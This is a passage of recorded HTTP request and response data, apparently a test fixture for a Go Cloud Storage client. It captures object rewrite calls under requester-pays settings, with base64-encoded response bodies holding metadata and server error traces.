Rpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE4IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwMCwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4ifX0=" - } - }, - { - "ID": "2309e069a65c894f", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/rewriteTo/b/go-integration-test-20190502-80633403432013-0003/o/copy?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3333" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:16 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpxhvVZmlJMvR93BoI0JsL0TYbDN-kmlYHQOOlRfb-Nnqpc8iUImRtJT8Qvx0XWrOsALmLv4Oub_aeCCWkHPvqaF28oAazlhqRZYoxrPlaQlW0N1Qs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiNSIsIm9iamVjdFNpemUiOiI1IiwiZG9uZSI6dHJ1ZSwicmVzb3VyY2UiOnsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE2NjM3MTY1Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29weSIsIm5hbWUiOiJjb3B5IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MTY2MzcxNjUiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MTYuNjM2WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjE2LjYzNloiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToxNi42MzZaIiwic2l6ZSI6IjUiLCJtZDVIYXNoIjoiWFVGQUtyeExLbmE1Y1oyUkVCZkZrZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2NvcHk/Z2VuZXJhdGlvbj0xNTU2ODM1OTE2NjM3MTY1JmFsdD1tZWRpYSIsImNvbnRlbnRMYW5ndWFnZSI6ImVuIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE2NjM3MTY1L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2NvcHkvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImNvcHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxNjYzNzE2NSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTzNIbzk3eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE2NjM3MTY1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb3B5L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiY29weSIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTE2NjM3MTY1IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ08zSG85N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2NvcHkvMTU1NjgzNTkxNjYzNzE2NS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29weS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImNvcHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxNjYzNzE2NSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTzNIbzk3eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE2NjM3MTY1L3VzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb3B5L2FjbC91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiY29weSIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTE2NjM3MTY1IiwiZW50aXR5IjoidXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ08zSG85N3gvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJtbkc3VEE9PSIsImV0YWciOiJDTzNIbzk3eC9lRUNFQUU9In19" - } - }, - { - "ID": "d2fe101ea1da654d", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/rewriteTo/b/go-integration-test-20190502-80633403432013-0003/o/copy?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13539" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:16 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqjFigs6aYtqXW_7VucOIgJY2MQZwuLv9B12s2ffhWgWDxtJyjLinG4A8U9gKBCpiTt9jUvdHKtaG20qZfyfN9Q1eVAkUQh_zv7ESbqnWhsiheI7zw" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5yZXdyaXRlKFJld3JpdGVPYmplY3QuamF2YToyMDApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6MTkzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLnJld3JpdGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTggbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9Rk9SQklEREVOLCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9BQ0NFU1NfREVOSUVEOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LnJld3JpdGUoUmV3cml0ZU9iamVjdC5qYXZhOjIwMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YToxOTMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6NDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvd